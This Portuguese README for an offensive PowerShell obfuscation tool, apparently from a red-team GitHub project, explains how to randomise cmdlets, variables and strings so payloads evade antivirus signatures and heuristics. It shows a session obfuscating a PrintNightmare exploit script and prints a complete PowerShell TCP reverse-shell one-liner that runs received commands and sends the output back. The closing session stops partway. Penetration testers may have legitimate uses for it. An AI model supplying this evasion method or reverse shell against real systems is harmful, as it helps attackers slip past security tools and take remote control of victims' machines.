
Uma abordagem aprofundada para ofuscar os componentes individuais de um payload do PowerShell, seja no Windows ou no Kali Linux.
Técnicas tradicionais de ofuscação tendem a adicionar camadas para encapsular código existente, como base64 ou compressão. Esses payloads continuam tendo um grau variado de sucesso, mas tornaram-se triviais para extrair o payload pretendido e alguns lançadores são frequentemente detectados, o que essencialmente introduz pontos de bloqueio.
A abordagem que esta ferramenta introduz é uma metodologia onde você pode segmentar e ofuscar os componentes individuais de um script com variações aleatórias, mantendo a mesma lógica pretendida, sem encapsular todo o payload em uma única camada. Devido à complexidade da lógica de ofuscação, os payloads resultantes serão muito difíceis de assinar e passarão por mecanismos heurísticos que não são programados para emular a lógica herdada.
Embora este script possa ofuscar a maioria dos payloads com sucesso por conta própria, este projeto também servirá como uma estrutura permanente que usarei para produzir funções futuras que utilizarão esta estrutura para fornecer payloads ofuscados dedicados, como um que produza apenas reverse shells.
Escrevi um artigo para a Offensive Security como precursor das técnicas que esta ferramenta introduz. Antes de prosseguir, considere lê-lo primeiro: https://www.offensive-security.com/offsec/powershell-obfuscation/
Como parte do meu trabalho contínuo com ofuscação PowerShell, estou construindo scripts que produzem payloads dedicados que utilizam esta estrutura. Eles têm me ajudado a economizar tempo e espero que você também os ache úteis. Você pode encontrá-los em suas próprias pastas na raiz deste repositório.
Como muitas outras linguagens de programação, o PowerShell pode ser dividido em vários componentes diferentes que compõem a lógica executável. Isso nos permite derrotar detecções baseadas em assinaturas com relativa facilidade, alterando a forma como representamos componentes individuais dentro de um payload para uma forma obscura ou ininteligível.
Tenha em mente que segmentar todos os componentes em payloads complexos é muito intrusivo. Esta ferramenta é construída para que você possa segmentar os componentes que deseja ofuscar de forma controlada. Descobri que muitas assinaturas podem ser derrotadas simplesmente segmentando cmdlets, variáveis e quaisquer comentários. Ao usar isso contra payloads complexos, como o PrintNightmare, lembre-se de que parâmetros de função personalizados / variáveis também serão alterados. Sempre teste adequadamente quaisquer payloads resultantes e certifique-se de estar ciente de quaisquer parâmetros nomeados modificados.
Tipos de componentes como pipes e variáveis de pipeline são introduzidos aqui para ajudar a tornar seu payload mais obscuro e difícil de decodificar.
Tipos Suportados
Cada componente tem seu próprio gerador dedicado que contém uma lista de valores estáticos ou gerados dinamicamente que são selecionados aleatoriamente durante cada execução. Se houver várias instâncias de um componente, ele iterará cada uma individualmente com um gerador. Isso adiciona um grau de aleatoriedade cada vez que você executa esta ferramenta contra um determinado payload, então cada iteração será diferente. A única exceção a isso são os nomes de variáveis.
Se um algoritmo relacionado a um componente específico começar a fazer com que um payload seja sinalizado, o design atual nos permite modificar facilmente a lógica desse gerador sem comprometer todo o script.
$Picker = 1..6 | Get-Random
Switch ($Picker) {
1 { $NewValue = 'Stay' }
2 { $NewValue = 'Off' }
3 { $NewValue = 'Ronins' }
4 { $NewValue = 'Lawn' }
5 { $NewValue = 'And' }
6 { $NewValue = 'Rocks' }
}
Este framework e os payloads resultantes foram testados nos seguintes sistemas operacionais e versões do PowerShell. Os reverse shells resultantes não funcionarão no PowerShell v2.0
| Versão do PS | SO Testado | Invoke-PSObfucation.ps1 | Shell Reverso |
|---|---|---|---|
| 7.1.3 | Kali 2021.2 | Suportado | Suportado |
| 5.1.19041.1023 | Windows 10 10.0.19042 | Suportado | Suportado |
| 5.1.21996.1 | Windows 11 10.0.21996 | Suportado | Suportado |
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1
>> Layer 0 Obfuscation
>> https://github.com/gh0x0st
[*] Obfuscating namespace classes
[*] Obfuscating cmdlets
[*] Obfuscating variables
[-] -DriverName is now -QhYm48JbCsqF
[-] -NewUser is now -ybrcKe
[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL is now -dNr
[-] -ModuleName is now -jd
[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type is now -fjTOTLDCGufqEu
[-] -FullName is now -0vEKnCqm
[-] -EnumElements is now -B9aFqfvDbjtOXPxrR
[-] -Bitfield is now -bFUCG7LB9gq50p4e
[-] -StructFields is now -xKryDRQnLdjTC8
[-] -PackingSize is now -0CB3X
[-] -ExplicitLayout is now -YegeaeLpPnB
[*] Removing comments
[*] Writing payload to o-printnightmare.ps1
[*] Done
PS /home/tristram>
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges
>> Layer 0 Obfuscation
>> https://github.com/gh0x0st